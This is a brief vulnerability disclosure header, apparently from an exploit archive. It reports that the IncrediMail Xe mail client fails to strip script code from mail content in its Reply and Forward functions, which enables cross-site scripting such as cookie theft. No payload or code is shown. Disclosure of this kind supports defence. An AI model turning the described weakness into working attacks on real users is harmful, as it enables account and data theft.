# IncrediMail Xe (latest version) XSS Vulnerability
#
# Discovered by : Bui Quang Minh
#
# Description : The most of popular Mail Client now exclude Script Code for mail content.
# It aims to avoid the type of XSS exploitation (For e.g: stolen cookie).
# IncrediMail also remove Script Code when the user read mail.
# However, I found the "Reply" and "Forward" function of the mail client
# has not handled mail content well resulting in XSS vulnerability.
